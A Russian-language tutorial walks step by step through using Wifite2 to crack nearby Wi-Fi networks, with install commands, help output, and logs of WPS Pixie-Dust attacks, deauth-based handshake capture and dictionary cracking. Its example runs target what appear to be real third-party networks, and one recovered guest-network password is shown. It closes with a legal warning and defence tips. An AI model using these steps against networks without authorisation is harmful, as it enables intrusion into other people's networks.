22.07.2019

Автоматизация атак на Wi-Fi сети при помощи Wifite2

image

В этой статье будет рассмотрена утилита Wifite2 для автоматизации атак на Wi-Fi.

Существует множество методов компрометирования Wi-Fi сетей. Сложность реализации того или иного сценария зависит от типа шифрования, настроек производителя, количества подключенных клиентов и так далее. В этой статье будет рассмотрена утилита Wifite2 для автоматизации атак на Wi-Fi. Wifite2 позволяет выбрать перечень целей и наметить наилучшую стратегию взлома каждой сети.

Wifite2 и Wifite

Wifite был одним из первых инструментов для автоматизированного взлома Wi-Fi, с которым я познакомился. Вместе с Besside-ng, представляющим собой набором скриптов для автоматизации атак на Wi-Fi, даже новичок мог реализовать атаку с серьезными последствиями без необходимости вникать в суть работы этих инструментов. По сравнению с Besside-ng в Wifite было предусмотрено множество разных сценариев, что, впрочем, могло замедлять работу в некоторых случаях.

Одной из наиболее полезных фишек Wifite был предварительный анализ, позволяющий выбрать одну или несколько близлежащих сетей в качестве целей. Сортируя доступные цели по различным признакам, даже начинающий мог разобраться, какой сценарий атаки сработает наилучшим образом.

Первая версия Wifite могла автоматически атаковать сети, поддерживающие протокол WPA, посредством перехвата рукопожатий или при помощи утилиты Reaver для перебора пина, установленного в WPS (Wi-Fi Protected Setup; Защищенная установка). Этот метод был эффективен, но отнимал около 8 часов и более.

Новая версия WiFite2 работает намного быстрее. Атаки стали занимать меньше времени, а тактика стала более изощренной, чем в предыдущей версии. Таким образом, Wifite2 стал серьезнее и мощнее на поприще взлома Wi-Fi по сравнению с Wifite.

Сценарий атаки на Wi-Fi

В Wifite2 реализован простой, но эффективный, алгоритм для максимально быстрого взлома близлежащих сетей. Каждая тактика притворяется в жизнь до разумного предела, но иногда дело доходит до взлома каждого полученного рукопожатия.

Вначале Wifite2 сканирует все каналы в указанном диапазоне на предмет наличия сетей. Полученный список сортируется по силе сигнала, поскольку надежная связь с обнаруженной сетью совсем не гарантируется.

Сортировка по убыванию силы сигнала позволяет наметить подходящий сценарий для каждой конкретной сети. Логика работы Wifite2 позволяет использовать этот инструмент вместе с направленной Wi-Fi антенной для обнаружения источника каждой близлежащей сети во время исследования окружающего пространства.

После того как окружающая территория исследована по каждой сети показываются подключенные клиенты, есть ли WPS, и какой используется тип шифрования. На базе полученной информации злоумышленник может выбрать один объект, группу или сразу все сети в качестве целей для атаки.

Далее Wifite2 пробегает по списку целей и вначале пытается реализовать наиболее быстрые и простые сценарии, как, например, WPS-Pixie, когда пароль взламывается в течение секунд, а затем менее надежные тактики, связанные с перебором паролей по словарю. Если атака терпит неудачу или занимает слишком много времени, Wifite2 переходит к следующему сценарию вместо бесполезной траты времени, как при работе с Wifite.

https://www.youtube.com/watch?v=qpnpI_mF3Aw

Подготовка и пошаговая реализация

Для начала потребуется сетевой Wi-Fi адаптер с поддержкой режима мониторинга, совместимый с Kali Linux.

Wifite2 установлен в Kali Linux по умолчанию. Рекомендую установить этот дистрибутив или на виртуальной машиной или прямо на компьютере с обновлением загрузочной записи и возможностью выбора операционной системы. В целом, Wifite2 можно установить в любом другом дистрибутиве, но я предполагаю, что у вас Kali Linux.

Шаг 1. Установка Wifite2

Если Wifite2 не установлен в вашей системе, вы можете скачать эту утилиту из репозитория на GitHub.

В терминале введите команды, показанные ниже, для клонирования репозитория и запуска инсталляции.

git clone https://github.com/derv82/wifite2.git

cd wifite2

sudo python setup.py install

Теперь Wifite2 должен быть установлен в вашей системе. Введите команду wifite -h для получения информации о текущей версии.

wifite -h

. .

.´ · . . · `. wifite 2.1.6

: : : (¯) : : : automated wireless auditor

`. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2

` /¯¯¯\ ´

optional arguments:

-h, --help show this help message and exit

SETTINGS:

-v, --verbose Shows more options (-h -v). Prints commands and outputs. (default: quiet)

-i [interface] Wireless interface to use (default: choose first or ask)

-c [channel] Wireless channel to scan (default: all channels)

-mac, --random-mac Randomize wireless card MAC address (default: off)

-p [scantime] Pillage: Attack all targets after scantime seconds

--kill Kill processes that conflict with Airmon/Airodump (default: off)

--clients-only, -co Only show targets that have associated clients (default: off)

--nodeauths Passive mode: Never deauthenticates clients (default: deauth targets)

WEP:

--wep Filter to display only WEP-encrypted networks (default: off)

--require-fakeauth Fails attacks if fake-auth fails (default: off)

--keep-ivs Retain .IVS files and reuse when cracking (default: off)

WPA:

--wpa Filter to display only WPA-encrypted networks (includes WPS)

--new-hs Captures new handshakes, ignores existing handshakes in ./hs (default: off)

--dict [file] File containing passwords for cracking (default: /usr/share/wordlists/fern-wifi/common.txt)

WPS:

--wps Filter to display only WPS-enabled networks

--bully Use bully instead of reaver for WPS attacks (default: reaver)

--no-wps NEVER use WPS attacks (Pixie-Dust) on non-WEP networks (default: off)

--wps-only ALWAYS use WPS attacks (Pixie-Dust) on non-WEP networks (default: off)

EVIL TWIN:

-ev, --eviltwin Use the "Evil Twin" attack against all targets (default: off)

COMMANDS:

--cracked Display previously-cracked access points

--check [file] Check a .cap file (or all hs/*.cap files) for WPA handshakes

--crack Show commands to crack a captured handshake

Шаг 2. Подключение Wi-Fi карты

После установки Wifite2 нужно подключить беспроводной сетевой адаптер, совместимый с Kali Linux. Wifite2 умеет не только автоматически выбирать адаптер, но и переключает карту в режим мониторинга. То есть, после подключения адаптера не нужно заботиться о настройке.

Шаг 3. Настройка параметров и поиск целей

Если мы знаем, в каком канале планируется реализация атаки, то можем указать номер вместе с параметром –c. Альтернативный вариант: просто ввести команду wifite и начать сбор информации по всем доступным сетям.

wifite -c 11

. .

.´ · . . · `. wifite 2.1.6

: : : (¯) : : : automated wireless auditor

`. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2

` /¯¯¯\ ´

[+] option: scanning for targets on channel 11

[!] conflicting process: NetworkManager (PID 464)

[!] conflicting process: wpa_supplicant (PID 729)

[!] conflicting process: dhclient (PID 13595)

[!] if you have problems: kill -9 PID or re-run wifite with --kill)

[+] looking for wireless interfaces

Interface PHY Driver Chipset

-----------------------------------------------------------------------

1. wlan0 phy3 ath9k_htc Atheros Communications, Inc. AR9271 802.11n

[+] enabling monitor mode on wlan0... enabled wlan0mon

NUM ESSID CH ENCR POWER WPS? CLIENT

--- ------------------------- --- ---- ----- ---- ------

1 Suicidegirls 11 WPA 48db no

2 Bourgeois Pig Guest 11 WPA 45db no

3 BPnet 11 WPA 42db no

4 DirtyLittleBirdyFeet 11 WPA 32db no 5

5 ATT73qDwuI 11 WPA 32db yes

6 SpanishWiFi 11 WPA 24db no

7 Franklin Lower 11 WPA 20db no 3

8 Sonos 11 WPA 11db no

9 Villa Carlotta 11 WPA 11db no

10 Sonos 11 WPA 10db no

[+] select target(s) (1-10) separated by commas, dashes or all:

При помощи команды выше мы запустили сканирование на канале 11 и получили список из 10 целей. У двух сетей есть подключенные клиенты, у одной включен WPS и во всех используется протокол WPA.

Шаг 4. Исследование окружающей территории и выбор целей

Из списка выше мы делаем вывод, что атака на цель под номером 5 будет реализована в первую очередь. Сигнал не самый сильный, и нет клиентов, однако при помощи новой атаки PMKID, вероятно, мы сможем получить рукопожатие, даже если никто не подключен.

Слабые пароли разумнее искать у первых трех сетей с самым сильным сигналом. У целей 4 и 7 наиболее высокие шансы использования 4-этапного рукопожатия, но брутфорс попробуем позже. Сети 4, 5 и 7 являются для нас наиболее желанными с точки зрения вероятности перехвата и взлома быстрого рукопожатия, если вначале не будет взломан пин, используемый в WPS.

Если мы хотим сосредоточиться на легкодоступных целях, то можем задать в скрипте отображение сетей, уязвимых к конкретным атакам. Например, используя флаг –wps для поиска сетей с WPS, которые могут быть уязвимы к атакам при помощи утилиты Reaver или Bully.

wifite -wps

. .

.´ · . . · `. wifite 2.1.6

: : : (¯) : : : automated wireless auditor

`. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2

` /¯¯¯\ ´

[+] option: targeting WPS-encrypted networks

[!] conflicting process: NetworkManager (PID 464)

[!] conflicting process: wpa_supplicant (PID 729)

[!] conflicting process: dhclient (PID 14824)

[!] if you have problems: kill -9 PID or re-run wifite with --kill)

[+] looking for wireless interfaces

Interface PHY Driver Chipset

-----------------------------------------------------------------------

1. wlan0 phy4 ath9k_htc Atheros Communications, Inc. AR9271 802.11n

[+] enabling monitor mode on wlan0... enabled wlan0mon

NUM ESSID CH ENCR POWER WPS? CLIENT

--- ------------------------- --- ---- ----- ---- ------

1 SBG6580E8 1 WPA 45db yes

2 The Daily Planet 1 WPA 30db yes 1

3 ATT73qDwuI 11 WPA 28db yes

4 birds-Wireless 2 WPA 23db yes

[+] select target(s) (1-4) separated by commas, dashes or all:

Схожий смысл имеют флаги -wpa или wep, позволяющие найти цели с соответствующим типом шифрования.

Шаг 5. Автоматические атаки на однотипные цели

Из полученного списка выберем цели с WPS и подключенными клиентами. После выбора сетей Wifite2 пытается реализовать наиболее целесообразный сценарий:

[+] (1/1) starting attacks against 69:96:43:69:D6:96 (The Daily Planet)

[+] The Daily Planet (76db) WPS Pixie-Dust: [--78s] Failed: Timeout after 300 seconds

[+] The Daily Planet (52db) WPA Handshake capture: Discovered new client: C8:E0:EB:45:CD:45

[+] The Daily Planet (35db) WPA Handshake capture: Listening. (clients:1, deauth:11s, timeout:7m59s)

[+] successfully captured handshake

[+] saving copy of handshake to hs/handshake_TheDailyPlanet_69:96:43:69:D6:96_2018-12-24T00-33-18.cap saved

[+] analysis of captured handshake file:

[+] tshark: .cap file contains a valid handshake for 69:96:43:69:D6:96

[!] pyrit: .cap file does not contain a valid handshake

[+] cowpatty: .cap file contains a valid handshake for (The Daily Planet)

[+] aircrack: .cap file contains a valid handshake for 69:96:43:69:D6:96

[+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist

[!] Failed to crack handshake: common.txt did not contain password

[+] Finished attacking 1 target(s), exiting

По логам выше видно, что атака WPS-Pixie завершилась неудачно, но мы смогли перехватить рукопожатие. Время на атаку WPS-Pixie быстро закончилось, и мы потратили минимум ресурсов на проверку успешности этого сценария. Иногда, некоторые беспроводные карты лучше работают с разными инструментами (то же самое касается утилит Reaver и Bully). Если в вашем случае одно не работает, попробуйте другое.

По умолчанию Wifite2 использует Reaver, но вы можете поменять на Bully, указав флаг –bully.

wifite -wps -bully

. .

.´ · . . · `. wifite 2.1.6

: : : (¯) : : : automated wireless auditor

`. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2

` /¯¯¯\ ´

[+] option: use bully instead of reaver for WPS Attacks

[+] option: targeting WPS-encrypted networks

[!] conflicting process: NetworkManager (PID 464)

[!] conflicting process: wpa_supplicant (PID 729)

[!] conflicting process: dhclient (PID 14824)

[!] if you have problems: kill -9 PID or re-run wifite with --kill)

[+] looking for wireless interfaces

using interface wlan0mon (already in monitor mode)

you can specify the wireless interface using -i wlan0

NUM ESSID CH ENCR POWER WPS? CLIENT

--- ------------------------- --- ---- ----- ---- ------

1 SBG6580E8 1 WPA 46db yes

2 The Daily Planet 1 WPA 34db yes 1

[+] select target(s) (1-2) separated by commas, dashes or all: 2

[+] (1/1) starting attacks against 78:96:84:00:B5:B0 (The Daily Planet)

[+] The Daily Planet (44db) WPS Pixie-Dust: [4m0s] Failed: More than 100 timeouts

[+] The Daily Planet (34db) WPA Handshake capture: found existing handshake for The Daily Planet

[+] Using handshake from hs/handshake_TheDailyPlanet_78-96-84-00-B5-B0_2018-12-24T00-33-18.cap

[+] analysis of captured handshake file:

[+] tshark: .cap file contains a valid handshake for 78:96:84:00:b5:b0

[!] pyrit: .cap file does not contain a valid handshake

[+] cowpatty: .cap file contains a valid handshake for (The Daily Planet)

[+] aircrack: .cap file contains a valid handshake for 78:96:84:00:B5:B0

[+] Cracking WPA Handshake: Using aircrack-ng via common.txt wordlist

[!] Failed to crack handshake: common.txt did not contain password

[+] Finished attacking 1 target(s), exiting

В нашем примере мы не смогли что-то улучшить при помощи Bully, но всегда нужно пробовать оба метода.

Шаг 6. Сохранение и анализ результатов

Если Wifite2 «увяз» в одном из сценариев, то всегда можно нажать Ctrl-C, после чего появится меню с вопросом, хотим ли мы продолжить или остановить процесс.

[+] SBG6580E8 (47db) WPS Pixie-Dust: [4m52s] Trying PIN 12523146 (DeAuth:Timeout) (Timeouts:15)

[!] interrupted

[+] 1 attack(s) remain, do you want to continue?

[+] type c to continue or s to stop:

Например, если мы смогли лишь получить 4-этапное рукопожатие, то, вероятно, захотим перебрать пароли, указав флаг dict и путь к словарю. По умолчанию используется словарь /usr/share/wordlists/fern-wifi/common.txt. Этот список содержит наиболее распространенные пароли, но вы можете использовать свой перечень, если настроены серьезно на получение результатов.

Ниже показан пример успешной дешифровки перехваченного рукопожатия при помощи нестандартного словаря «passwords.txt».

wifite -wpa --dict ./passwords.txt

. .

.´ · . . · `. wifite 2.1.6

: : : (¯) : : : automated wireless auditor

`. · ` /¯\ ´ · .´ https://github.com/derv82/wifite2

` /¯¯¯\ ´

[+] option: using wordlist ./passwords.txt to crack WPA handshakes

[+] option: targeting WPA-encrypted networks

[!] conflicting process: NetworkManager (PID 419)

[!] conflicting process: wpa_supplicant (PID 585)

[!] conflicting process: dhclient (PID 7902)

[!] if you have problems: kill -9 PID or re-run wifite with --kill)

[+] looking for wireless interfaces

using interface wlan0mon (already in monitor mode)

you can specify the wireless interface using -i wlan0

NUM ESSID CH ENCR POWER WPS? CLIENT

--- ------------------------- --- ---- ----- ---- ------

1 Suicidegirls 11 WPA 58db n/a

2 Bourgeois Pig Guest 11 WPA 56db n/a

3 BPnet 11 WPA 56db n/a

4 The Daily Planet 1 WPA 49db n/a 1

5 SBG6580E8 1 WPA 49db n/a

6 Hyla Hair 2.4G 8 WPA 48db n/a

7 TWCWiFi-Passpoint 1 WPA 46db n/a

8 HP-Print-B9-Officejet... 1 WPA 40db n/a

9 birds-Wireless 2 WPA 39db n/a

10 SpanishWiFi 11 WPA 38db n/a

[!] Airodump exited unexpectedly (Code: 0) Command: airodump-ng wlan0mon -a -w /tmp/wifitei_l5H1/airodump --write-interval 1 --output-format pcap,csv

[+] select target(s) (1-10) separated by commas, dashes or all: 2

[+] (1/1) starting attacks against DE:F2:86:EC:CA:A0 (Bourgeois Pig Guest )

[+] Bourgeois Pig Guest (57db) WPA Handshake capture: Discovered new client: F0:D5:BF:BD:D5:2B

[+] Bourgeois Pig Guest (58db) WPA Handshake capture: Discovered new client: 6C:8D:C1:A8:E4:E9

[+] Bourgeois Pig Guest (59db) WPA Handshake capture: Listening. (clients:2, deauth:14s, timeout:8m1s)

[+] successfully captured handshake

[+] saving copy of handshake to hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap saved

[+] analysis of captured handshake file:

[+] tshark: .cap file contains a valid handshake for de:f2:86:ec:ca:a0

[!] pyrit: .cap file does not contain a valid handshake

[+] cowpatty: .cap file contains a valid handshake for (Bourgeois Pig Guest )

[+] aircrack: .cap file contains a valid handshake for DE:F2:86:EC:CA:A0

[+] Cracking WPA Handshake: Using aircrack-ng via passwords.txt wordlist

[+] Cracking WPA Handshake: 100.00% ETA: 0s @ 2234.0kps (current key: christmasham)

[+] Cracked WPA Handshake PSK: christmasham

[+] Access Point Name: Bourgeois Pig Guest

[+] Access Point BSSID: DE:F2:86:EC:CA:A0

[+] Encryption: WPA

[+] Handshake File: hs/handshake_BourgeoisPigGuest_DE-F2-86-EC-CA-A0_2018-12-24T01-40-28.cap

[+] PSK (password): christmasham

[+] saved crack result to cracked.txt (1 total)

[+] Finished attacking 1 target(s), exiting

Используя хороший словарь, мы можем увеличить шансы на взлом пароля, даже если быстрые атаки на сети с WPS завершатся неудачно.

Предупреждение об ответственности и методы защиты

Wifite2 – очень хороший пример, когда даже новичок может реализовать эффективную атаку на сети, обладающие наиболее распространенными уязвимостями, как, например, пин в WPS или слабые пароли. С увеличением уровня автоматизации более продвинутых атак, важно быть в тренде и знать наиболее эффективные методы взлома Wi-Fi сетей.

В целом, наилучший способ защитить сеть от утилит наподобие Wifite2 – отключить WPS и использовать сильный пароль, который знает ограниченный круг лиц.

Важно отметить, что, если выбрать все цели, Wifite2 будет осуществлять атаки на все сети, а не только на которые у вас есть разрешение «тестировать». Если у вас нет разрешения на реализацию атаки, то, по сути, вы становитесь на путь криминала и можете попасть в серьезные неприятности. Отговорки навроде «атаку осуществил скрипт» не прокатят. Особенно если речь идет о каких-то серьезных и важных сетях.

Надеюсь, вам понравилось это руководство. Любые мнения и вопросы можете оставлять в комментариях. Также со мной можно связаться через Твиттер @KodyKinzie.